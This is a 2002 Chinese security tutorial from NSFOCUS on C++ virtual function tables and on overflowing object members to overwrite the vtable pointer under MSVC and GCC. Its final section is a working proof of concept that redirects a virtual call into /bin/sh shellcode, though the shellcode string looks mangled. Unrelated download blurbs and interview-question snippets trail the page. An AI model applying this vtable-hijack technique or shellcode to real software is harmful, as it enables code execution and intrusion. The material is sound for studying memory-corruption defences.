作者:watercloud
主页:http://www.nsfocus.com
日期:2002-4-15
目录:
1. C++中虚函数的静态联编和动态联编
2. VC中对象的空间组织和溢出试验
3. GCC中对象的空间组织和溢出试验
4. 参考
<一> C++中虚函数的静态联编和动态联编
C++中的一大法宝就是虚函数,简单来说就是加virtual关键字定义的函数。
其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的
使用,一个典型的例子就是虚函数是MFC的基石之一。
这里有两个概念需要先解释:
静态联编:通俗点来讲就是程序编译时确定调用目标的地址。
动态联编:程序运行阶段确定调用目标的地址。
在C++中通常的函数调用都是静态联编,但如果定义函数时加了virtual关键
字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。
一个简单例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
int num1;
ClassA(){ num1=0xffff; };
virtual void test1(void){};
virtual void test2(void){};
};
ClassA objA,* pobjA;
int main(void)
{
pobjA=&objA;
objA.test1();
objA.test2();
pobjA->test1();
pobjA->test2();
return 0;
}
使用VC编译:
开一个命令行直接在命令行调用cl来编译: (如果你安装vc时没有选择注册环境
变量,那么先在命令行运行VC目录下bin/VCVARS32.BAT )
cl test.cpp /Fa
产生test.asm中间汇编代码
接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心 !
我们来看看:
数据定义:
_BSS SEGMENT
?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位
?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一个地址32位
_BSS ENDS
看到objA为64位,里边存放了哪些内容呢? 接着看看构造函数:
_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!
; File test.cpp
; Line 6
push ebp
mov ebp, esp
push ecx
mov DWORD PTR _this$[ebp], ecx ; ecx 赋值给 _this ?? 不明白??
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
; 前面的部分都是编译器加的东东,我们的赋值在这里
mov ecx, DWORD PTR _this$[ebp]
mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;
; 看来 _this+4就是num1的地址
mov eax, DWORD PTR _this$[ebp]
mov esp, ebp
pop ebp
ret 0
??0ClassA@@QAE@XZ ENDP
那个_this和mov DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧,不急看看何
处调用的构造函数:
_$E9 PROC NEAR
; File test.cpp
; Line 10
push ebp
mov ebp, esp
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()
pop ebp
ret 0
_$E9 ENDP
看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中
的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx
赋值给他,指向调用该方法的对象的地址 。
那么构造函数里的这两行又是干什么呢?
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA
接着就相当于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@
来看看 ??_7ClassA@@6B@ 是哪个道上混的:
CONST SEGMENT
??_7ClassA@@6B@
DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'
DD FLAT:?test2@ClassA@@UAEXXZ
CONST ENDS
看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
就是在对象的起始地址填入这么一个地址列表的地址。
好了,至此我们已经看到了objA的构造了:
| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1 | num1变量的空间 |
+--------+ ---> objA的结束地址 +--->+--------------+ 地址表 vftable
| 高地址 | |test1()的地址 |
+--------------+
|test2()的地址 |
+--------------+
来看看main函数:
_main PROC NEAR
; Line 13
push ebp
mov ebp, esp
; Line 14
mov DWORD PTR ?pobjA@@3PAVClassA@@A,
OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA
; Line 15
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指针
; 指向调用者的地址
call ?test1@ClassA@@UAEXXZ ; objA.test1()
; objA.test1()直接调用,已经确定了地址
; Line 16
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ?test2@ClassA@@UAEXXZ ; objA.test2()
; Line 17
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax] ; edx = vftable
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx] ;
; call vftable[0] 即 pobjA->test1() 看地址是动态查找的 ; )
; Line 18
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax]
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx+4] ; pobjA->test2()
; call vftable[1] 而vftable[1]里存放的是test2()的入口地址
; Line 19
xor eax, eax
; Line 20
pop ebp
ret 0
_main ENDP
好了,相信到这里你已经对动态联编有了深刻印象。
<二> VC中对象的空间组织和溢出试验
通过上面的分析我们可以对对象空间组织概括如下:
| 低地址 |
+----------+ ---> objA的起始地址 &objA
|pvftable |--------------------->+
+----------+ |
|各成员变量| |
+----------+ ---> objA的结束地址 +---> +--------------+ 地址表 vftable
| 高地址 | |虚函数1的地址 |
+--------------+
|虚函数2的地址 |
+--------------+
| . . . . . . |
可以看出如果我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
我们能改变程序流程!
现在来作一个溢出试验:
先写个程序来看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;
int main(void)
{
cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
return 0;
}
用cl编译运行结果为:
0x00408998:0x00408990:0x00408991:0x00408994
编译器把buff的地址放到后面了!
把程序改一改,定义变量时换成:
ClassEx obj1,obj2,* pobj;
int buff[1];
结果还是一样!! 不会是vc就是防着这一手吧!
看来想覆盖不容易呀 ; )
只能通过obj1 溢出覆盖obj2了
//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
cout << "Why a u here ?!" << endl;
};
ClassEx obj1,obj2,* pobj;
int main(void)
{
pobj=&obj2;
obj2.test();
int vtab[1] = { (int) entry };//构造vtab,
//entry的入口地址
obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域
//这里修改了函数指针列表的地址到vtab
pobj->test();
return 0;
}
编译 cl ex_vc.cpp
运行结果:
ClassEx::test()
Why a u here ?!
测试环境: VC6
看我们修改了程序执行流程 ^_^
平时我们编程时可能用virtaul不多,但如果我们使用BC/VC等,且使用了厂商提供的
库,其实我们已经大量使用了虚函数 ,以后写程序可要小心了,一个不留神的变量
赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会 ....
<三> GCC中对象的空间组织和溢出试验
刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不
一样!分析方法一样,就是写个test.cpp用gcc -S test.cpp 来编译得到汇编文件
test.s 然后分析test.s我们就能得到许多细节上的东西。
通过分析我们可以看到:
gcc中对象地址空间结构如下:
| 低地址 |
+---------------+ 对象的开始地址
| |
| 成员变量空间 |
| |
+---------------+
| pvftable |----------->+------------------+ vftable
+---------------+ | 0 |
| 高地址 | +------------------+
| XXXXXXXX |
+------------------+
| 0 |
+----------------- +
| 虚函数1入口地址 |
+------------------+
| 0 |
+----------------- +
| 虚函数2入口地址 |
+------------------+
| . . . . . . |
哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable
前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!
来写个溢出测试程序:
//test.cpp
#include<iostream.h>
class ClassTest
{
public:
long buff[1]; //大小为1
virtual void test(void)
{
cout << "ClassTest test()" << endl;
}
};
void entry(void)
{
cout << "Why are u here ?!" << endl;
}
int main(void)
{
ClassTest a,*p =&a;
long addr[] = {0,0,0,(long)entry}; //构建的虚函数表
//test() -> entry()
a.buff[1] = ( long ) addr;// 溢出,操作了虚函数列表指针
a.test(); //静态联编的,不会有事
p->test(); //动态联编的,到我们的函数表去找地址,
// 结果就变成了调用函数 entry()
}
编译: gcc test.cpp -lstdc++
执行结果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!
测试程序说明:
具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:
.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
.p2align 2
.type _vt$9ClassTest,@object
.size _vt$9ClassTest,24
_vt$9ClassTest:
.value 0
.value 0
.long __tf9ClassTest
.value 0
.value 0
.long test__9ClassTest ----------+
.zero 8 |
.comm __ti9ClassTest,8,4 |
|
|
test()的地址 <----+
这就是其虚函数列表里的内容了。
test()地址在第3个(long)型地址空间
所以我们构造addr[]时:
long addr[] = {0,0,0,(long)entry};
就覆盖了test()函数的地址 为 entry()的地址
p->test()
时就跑到我们构建的地址表里取了entry的地址去运行了
测试环境 FreeBSD 4.4
gcc 2.95.3
来一个真实一点的测试:
通过溢出覆盖pvftable,时期指向一个我们自己构造的
vftable,并且让vftable的虚函数地址指向我们的一段shellcode
从而得到一个shell。
#include<iostream.h>
#include<stdio.h>
class ClassBase //定义一个基础类
{
public:
char buff[128];
void setBuffer(char * s)
{
strcpy(buff,s);
};
virtual void printBuffer(void){}; //虚函数
};
class ClassA :public ClassBase
{
public:
void printBuffer(void)
{
cout << "Name :" << buff << endl;
};
};
class ClassB : public ClassBase
{
public:
void printBuffer(void)
{
cout << "The text : " << buff << endl;
};
};
char buffer[512],*pc;
long * pl = (long *) buffer;
long addr = 0xbfbffabc; // 在我的机器上就是 &b ^_*
char shellcode[]="1/xc0Ph//shh/binT[PPSS4;/xcd/x80";
int i;
int main(void)
{
ClassA a;
ClassB b;
ClassBase * classBuff[2] = { &a,&b };
a.setBuffer("Tom");
b.setBuffer("Hello ! This is world of c++ .");
for(i=0;i<2;i++) //C++中的惯用手法,
//一个基础类的指针指向上层类对象时调
//用的为高层类的虚函数
classBuff[i]->printBuffer(); // 这里是正常用法
cout << &a << " : " << &b << endl; // &b就是上面addr的值,
//如果你的机器上两个值不同就改一改addr值吧!
//构造一个特殊的buff呆会给b.setBuffer
// 在开始处构造一个vftable
pl[0]=0xAAAAAAAA; //填充1
pl[1]=0xAAAAAAAA; //填充2
pl[2]=0xAAAAAAAA; //填充3
pl[3]=addr+16; //虚函数printBuffer入口地址
// 的位置指向shell代码处了
pc = buffer+16;
strcpy(pc,shellcode);
pc+=strlen(shellcode);
for(;pc - buffer < 128 ; *pc++='A'); //填充
pl=(long *) pc;
*pl= addr; //覆盖pvftable使其指向我们构造的列表
b.setBuffer(buffer); //溢出了吧 .
// 再来一次
for(i=0;i<2;i++)
classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
// 时一个shell就出来了
return 0;
}
bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$ <------ 呵呵,成功了
说明:
addr = &b 也就是 &b.buff[0]
b.setBuffer(buffer)
就是让 b.buff溢出,覆盖128+4+1个地址。
此时内存中的构造如下:
&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | /0]
____ ^ ___
| | |
| | |
| +---+ | |
| | |
+---------------> 128 <--------------+ |
|
此处即pvftable项 ,被溢出覆盖为 addr <---+
现在b.buff[0]的开始处就构建了一个我们自己的虚
函数表,虚函数的入口地址为shellcode的地址 !
本文只是一个引导性文字,还有许多没
有提到的细节,需要自己去分析。
俗话说自己动手丰衣足食 *_&
<四> 参考
Phrack56# << SMASHING C++ VPTRS >>
个人愚见,望斧正!
__watercloud__
(watercloud@nsfocus.com)
2002-4-15
分享到:
相关推荐
网络渗透--《C++中溢出覆盖虚函数指针技术》,内部安全资料,在此与大家分享,欢迎下载...........
4.4.2 虚函数 4.4.3 返回引用 4.5 空闲存储空间(free-store)和堆栈空间(stack space) 4.5.1 使用高效的算法 4.5.2 尽可能快地释放空闲资源 4.5.3 静态对象 4.5.4 庞大的对象 4.6 效率的权衡 4.6.1 实现...
3.3 构造函数能否为虚函数 3.4 C语言编译全过程 3.5 单例模式 3.5.1 如何实现单例模式 3.5.2 如何实现单例模式 3.6 返回“引用”的格式、好处、注意事项 3.7 指针的表示 3.8 拷贝构造函数的调用时机 3.9 如何确保...
1.虚函数 2.纯虚函数 3.内存泄漏 内存溢出 野指针 4.访问控制 5.类中对象分布 6.overload重载 override覆盖 overwrite重写
答:线程通常被定义为一个进程中代码的不同执行路线。从实现方式上划分,线程有两 种类型:“用户级线程”和“内核级线程”。 用户线程指不需要内核支持而在用户程序 中实现的线程,其不依赖于操作系统核心,应用...
执行C++程序时出现的“溢出”错误属于( c )错误。 (a) 编译 (b) 连接 (c) 运行 (d) 逻辑 6.下列选项中,全部都是C++关键字的选项为( c )。 (a) while IF static (b) break char go (c) sizeof case ...
4. C# 中没有全局变量或全局函数,取而代之的是通过静态函数和静态变量完成的。 数据类型 所有 C# 的类型都是从 object 类继承的。有两种数据类型: 1. 基本/内建类型 2. 用户定义类型 以下是 C# 内建类型的...
7.什么函数不能声明为虚函数? constructor 8.冒泡排序算法的时间复杂度是什么? O(n^2) 9.写出float x 与“零值”比较的if语句。 if(x>0.000001&&x) 10. Internet采用哪种网络协议?该协议的主要层次结构...
1.是不是一个父类写了一个virtual 函数,如果子类覆盖它的函数不加virtual ,也能实现多态? virtual修饰符会被隐形继承的。 private 也被集成,只事派生类没有访问权限而已 virtual可加可不加 子类的空间里有父类...
12. 什么函数不能声明为虚函数? constructor 13. 冒泡排序算法的时间复杂度是什么? O(n^2) 14. 写出float x 与“零值”比较的if语句。 if(x>0.000001&&x) 16. Internet采用哪种网络协议?该协议的主要层次结构? ...
1)构造函数虚函数静态成员函数…… 35 2)copy& assignment… 36 3)列表初始化 37 4)多态… 37 5)静态绑定与动态绑定 38 6 Explicit mutable volatile internal 39 7)继承… 39 8〕)堆栈溢出 面主...